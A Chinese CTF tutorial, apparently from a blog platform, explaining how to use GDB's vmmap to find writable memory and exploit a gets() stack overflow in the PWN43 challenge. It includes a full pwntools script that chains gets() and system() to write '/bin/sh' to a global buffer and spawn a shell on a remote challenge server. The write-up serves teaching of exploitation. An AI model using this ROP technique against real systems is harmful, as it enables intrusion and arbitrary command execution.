news 2026/6/3 6:54:05

保姆级调试指南:用GDB的vmmap命令为PWN题‘找房子’,搞定PWN43的栈溢出与参数传递

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
保姆级调试指南:用GDB的vmmap命令为PWN题‘找房子’,搞定PWN43的栈溢出与参数传递

保姆级调试指南:用GDB的vmmap命令为PWN题‘找房子’,搞定PWN43的栈溢出与参数传递

在CTF竞赛中,PWN题往往是最考验选手综合能力的题型之一。面对一个陌生的二进制文件,如何快速定位漏洞、理解内存布局并构造有效的攻击载荷,是每个PWN选手必须掌握的技能。本文将带你深入理解GDB的vmmap命令在漏洞利用中的关键作用,通过一个真实的CTF题目(PWN43)演示如何系统性地进行动态调试,最终实现栈溢出攻击并获取shell。

1. 理解题目与初步分析

拿到PWN43这道题目时,我们首先需要进行基础分析。这是一个32位的ELF可执行文件,使用file命令可以确认这一点:

$ file pwn43 pwn43: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped

使用IDA进行静态分析,我们发现程序的主要逻辑在ctfshow函数中。这个函数定义了一个长度为104的字符数组s,并使用不安全的gets()函数读取输入,这明显存在栈溢出漏洞。更重要的是,程序中存在system()函数(地址0x8048450),但没有现成的/bin/sh字符串。

提示:在32位程序中,函数调用时参数是通过栈传递的。这意味着我们需要控制栈上的内容才能正确调用system()函数。

2. 动态调试与内存布局分析

静态分析只能告诉我们程序的大致结构,要真正理解内存布局,必须进行动态调试。我们使用GDB加载程序:

$ gdb ./pwn43

2.1 设置断点与运行程序

首先在main函数设置断点,然后运行程序:

(gdb) break main Breakpoint 1 at 0x8048537 (gdb) run Starting program: /path/to/pwn43

2.2 使用vmmap查看内存映射

关键的一步是使用vmmap命令查看进程的内存映射情况:

(gdb) vmmap Start End Perm Size Offset File 0x8048000 0x8049000 r-xp 0x1000 0x0000 /path/to/pwn43 0x8049000 0x804a000 r--p 0x1000 0x0000 /path/to/pwn43 0x804a000 0x804b000 rw-p 0x1000 0x1000 /path/to/pwn43 0x804b000 0x804c000 rw-p 0x1000 0x0000 [heap]

这里我们需要特别关注权限为rw-p(可读可写)的内存区域。在PWN题目中,这样的区域可以用来存储我们的攻击载荷(如/bin/sh字符串)。

2.3 理解内存权限标志

vmmap输出的权限标志非常重要:

  • r:可读(Readable)
  • w:可写(Writable)
  • x:可执行(Executable)
  • p:私有(Private,与s共享相对)

在我们的例子中,0x804b000-0x804c000这段内存是可读写的,这正是我们需要的"房子"——可以用来存放/bin/sh字符串的区域。

3. 定位可写内存与构造攻击

3.1 寻找合适的写入地址

通过进一步分析,我们在0x804b000-0x804c000这段内存中找到了一个全局变量buf2,其地址为0x804b060。这是一个理想的写入位置:

(gdb) x/s 0x804b060 0x804b060 <buf2>: ""

3.2 利用gets函数写入字符串

程序中已经有gets()函数(地址0x8048420),我们可以利用它来向buf2写入/bin/sh字符串。攻击思路如下:

  1. 通过栈溢出覆盖返回地址,跳转到gets()函数
  2. gets()从标准输入读取/bin/sh并写入buf2
  3. 然后调用system()函数,参数指向buf2

3.3 构造ROP链

我们需要构造一个ROP链来实现上述流程。首先计算偏移量:

offset = 0x6C + 4 # 104字节的缓冲区 + 4字节的ebp

然后构造payload:

from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6C + 4 system_addr = 0x8048450 buf2_addr = 0x804b060 gets_addr = 0x8048420 payload = b'a'*offset payload += p32(gets_addr) # 覆盖返回地址为gets() payload += p32(system_addr) # gets()返回后跳转到system() payload += p32(buf2_addr) # gets()的参数:写入地址 payload += p32(buf2_addr) # system()的参数:"/bin/sh"的地址 p.sendline(payload) p.sendline("/bin/sh") # 这是gets()读取的内容 p.interactive()

4. 攻击原理深度解析

4.1 栈帧布局与函数调用

理解这个攻击的关键在于明白32位程序中的函数调用约定:

  1. 调用函数时,参数从右向左压栈
  2. call指令会将返回地址压栈
  3. 被调用函数会保存旧的ebp(建立新的栈帧)

我们的payload结构如下:

栈位置内容说明
低地址'a'*offset填充缓冲区
gets_addr覆盖返回地址
system_addrgets()的返回地址
buf2_addrgets()的参数
buf2_addrsystem()的参数

4.2 攻击流程详解

  1. 程序执行gets()时,我们的输入覆盖了返回地址
  2. 函数返回时跳转到gets(),从标准输入读取/bin/sh并写入buf2
  3. gets()返回时,会从栈上弹出返回地址(system_addr)并跳转
  4. system()执行时,会从栈上获取参数(buf2_addr),即/bin/sh的地址

4.3 为什么需要两次buf2_addr

第一个buf2_addrgets()的参数,告诉它把输入写到哪里;第二个buf2_addrsystem()的参数,告诉它要执行的命令在哪里。虽然看起来重复,但两者作用不同。

5. 实战技巧与注意事项

5.1 寻找可写内存的技巧

在实际比赛中,除了使用vmmap,还可以用以下方法寻找可写内存:

  • 查找.bss段(通常有读写权限)
  • 查找全局变量(如buf2
  • 查找堆区域(heap)
(gdb) info variables All defined variables: Non-debugging symbols: ... 0x0804b060 buf2 ...

5.2 处理ASLR的情况

如果题目开启了ASLR(地址空间布局随机化),上述方法可能需要调整:

  1. 需要先泄漏某个地址
  2. 计算基址偏移
  3. 然后构造payload

5.3 其他有用的GDB命令

除了vmmap,以下GDB命令也非常有用:

info proc mappings # 类似vmmap x/20wx $esp # 查看栈内容 x/wx &system # 查看system函数地址 searchmem "/bin/sh" # 搜索内存中的字符串

5.4 常见问题排查

如果攻击不成功,可以检查以下几点:

  1. 偏移量计算是否正确
  2. 地址是否考虑了小端序
  3. 内存权限是否确实可写
  4. 函数调用约定是否正确(32位和64位不同)

注意:在实际比赛中,网络环境可能有延迟,建议先在本地测试成功后再攻击远程。

通过这个案例,我们不仅解决了PWN43这道题目,更重要的是掌握了一套系统性的动态调试方法。从内存布局分析到攻击构造,GDB的vmmap命令帮助我们快速找到了可用的"房子",为最终的攻击成功奠定了基础。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/3 6:52:38

不止是网速监控:用Indicator-Sysmonitor打造你的Ubuntu个性化系统状态栏

从系统监控到效率艺术&#xff1a;用Indicator-Sysmonitor重构Ubuntu工作流在数字时代&#xff0c;效率工具的价值早已超越基础功能层面。对于Ubuntu中高级用户而言&#xff0c;桌面环境不仅是操作界面&#xff0c;更是信息交互的核心枢纽。Indicator-Sysmonitor这款看似简单的…

作者头像 李华
网站建设 2026/6/3 6:51:39

从堡垒机到特权治理:企业为何全面升级 PAM360

对于审计来说&#xff0c;堡垒机都承担着重要角色。但随着企业IT环境越来越复杂&#xff0c;越来越多安全团队开始发现&#xff1a;仅依赖传统堡垒机&#xff0c;已经难以真正解决特权账号带来的安全风险。某互联网企业曾在内部审计中发现&#xff0c;一个长期未回收的高权限账…

作者头像 李华
网站建设 2026/6/3 6:51:33

从无人机到自动驾驶:一文读懂ROS中ENU、NED、相机坐标系的选择与转换

从无人机到自动驾驶&#xff1a;一文读懂ROS中ENU、NED、相机坐标系的选择与转换在无人机编队飞行、自动驾驶汽车路径规划或移动机器人导航中&#xff0c;坐标系就像不同语言之间的翻译规则。当PX4飞控输出的北向数据遇到视觉传感器"向右看"的坐标约定时&#xff0c;…

作者头像 李华
网站建设 2026/6/3 6:46:55

完整指南:在Windows上使用DS4Windows将PS4/PS5手柄映射为Xbox控制器

完整指南&#xff1a;在Windows上使用DS4Windows将PS4/PS5手柄映射为Xbox控制器 【免费下载链接】DS4Windows Like those other ds4tools, but sexier 项目地址: https://gitcode.com/gh_mirrors/ds/DS4Windows DS4Windows是一款强大的开源工具&#xff0c;能够将索尼Du…

作者头像 李华
网站建设 2026/6/3 6:46:55

图像结构因子分解:从重复内容检测到高效压缩与渲染

1. 项目概述&#xff1a;当图像处理遇上“重复利用”在数字图像无处不在的今天&#xff0c;我们随手一拍就是一张高清照片&#xff0c;互联网上的图片库更是以指数级的速度膨胀。作为一名长期与图形渲染和多媒体数据打交道的开发者&#xff0c;我深切感受到一个核心矛盾&#x…

作者头像 李华
网站建设 2026/6/3 6:45:02

车载设备箱生产中常见的质量控制难点分析

在车载设备箱的生产过程中&#xff0c;质量控制是确保产品符合标准和满足客户需求的关键环节。然而&#xff0c;由于车载设备箱的特殊性和复杂性&#xff0c;生产过程中存在着诸多质量控制难点。以下将对这些难点进行详细分析&#xff0c;并给出相应的实操建议。 一、材料质量…

作者头像 李华